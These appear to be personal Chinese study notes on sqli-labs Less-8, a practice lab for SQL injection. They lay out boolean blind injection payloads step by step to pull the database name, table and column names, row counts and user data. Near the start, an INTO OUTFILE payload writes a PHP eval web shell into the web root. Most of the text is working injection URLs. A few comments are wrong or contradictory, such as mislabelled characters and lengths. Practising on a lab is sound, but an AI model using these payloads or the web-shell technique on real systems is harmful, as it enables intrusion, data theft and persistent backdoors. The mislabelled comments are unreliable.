手工注入麻烦
目录
判断闭合方式
判断注入类型
手工注入
1、获取数据库名
2、爆破数据库的名字(security)
3、爆破表的数量
4、判断表名的长度
5、判断表的列名数量
6、判断表的列名的名字
7、获取表的数据
8、判断数据的长度
9、判断数据的值
判断闭合方式
为单引号闭合
判断注入类型
报错不提示报错信息,不适宜用报错注入,
不返回任何信息,不适宜联合查询
那就只能用布尔盲注了,因为错误返回错误页面,正确返回正确页面
上一关是可以直接写入文件,试了一下这一关也是可以直接写入后门代码,然后用蚁剑去连接
那个写入文件只需要满足结果条件就可以了
1、secury为空
2、是root高权限用户
先试一下直接写入一句话木马,可以看出写入成功
http://sql-labs:8888/Less-8/?id=1' union select 1,'<?php @eval($_post["test"])?>',3 into outfile "D://soft//phpstudya//phpstudy_pro//WWW//sqli-labs-master//Less-8//6.php"--+
但是这关的目的一个是让我们使用布尔注入,内容来自这,具体看这两篇文章
sqli-labs第八关-布尔注入_51CTO博客_sqli-labs第二关https://blog.51cto.com/u_15400845/4293172#_50CTFHub_技能树_Web之SQL注入——布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写_ctfhub布尔盲注-CSDN博客https://blog.csdn.net/Xxy605/article/details/109750292
一、盲注思路
由于对数据库的信息了解甚少,盲注需要考虑多种情况,一般思路如下:1 爆库名长度
2 根据库名长度爆库名
3 对当前库爆表数量
4 根据库名和表数量爆表名长度
5 根据表名长度爆表名
6 对表爆列数量
7 根据表名和列数量爆列名长度
8 根据列名长度爆列名
9 根据列名爆数据值
手工注入
1、获取数据库名
?id=1' and length(database())=1--+ //查询数据库名字的长度
经过查询有八位
2、爆破数据库的名字(security)
http://sql-labs:8888/Less-1/?id=1' and substr(database(),1,1)='s' --+ //数据库第一个字符是s
http://sql-labs:8888/Less-1/?id=1' and substr(database(),2,1)='s' --+ //数据库第一个字符是e
3、爆破表的数量
http://sql-labs:8888/Less-1/?id=1' and (select COUNT(*) from information_schema.tables where table_schema=database())=4 --+
查询到数据库表的数量有4张
4、判断表名的长度
这个语句不行,在上面那篇文章复制过来的,至于为什么不行,我不想去想了
http://sql-labs:8888/Less-1/?id=1' and length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=4 --+
正确语句
http://sql-labs:8888/Less-8/?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 --+
第一张表名的长度
5、判断表的列名数量
http://sql-labs:8888/Less-8/?id=1' and (select COUNT(*) from information_schema.columns where table_schema=database() and table_name='users')=3 --+
正确代码
http://sql-labs:8888/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)=3 --+
这里有问题,报错了,没查到任何数据,一直显示报错界面,没搞懂,下一个,我居然忘了可以直接百度找答案!找到答案了
6、判断表的列名的名字
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name = 'users' and table_schema = 'security' limit 0,1),1,1))=105 --+
判断第一列的第一个字母为i,这个有三列,id,username,password
不过爆列名数,为什么要在后面加上limit(0,1),因为爆表的数量的时候没加这个,爆列的数量就加了这个了
做不了了,这里也不知道做,我是按照那个ctfhub那个题目做的,按理来说应该也能做出来,不过要花点时间,不用花时间了,只需要思考一下就好了,但是也不想思考
7、获取表的数据
http://sql-labs:8888/Less-8/?id=1' and (select count(*) from users)=13 --+
判断表的数据有13条数据
8、判断数据的长度
http://sql-labs:8888/Less-8/?id=1' and length((select id from users limit 0,1))=1 --+
判断id的数据长度为1位
http://sql-labs:8888/Less-8/?id=1' and length((select username from users limit 0,1))=4 --+
判断username的数据长度为1位
9、判断数据的值
http://sql-labs:8888/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+
判断username的第一个值为D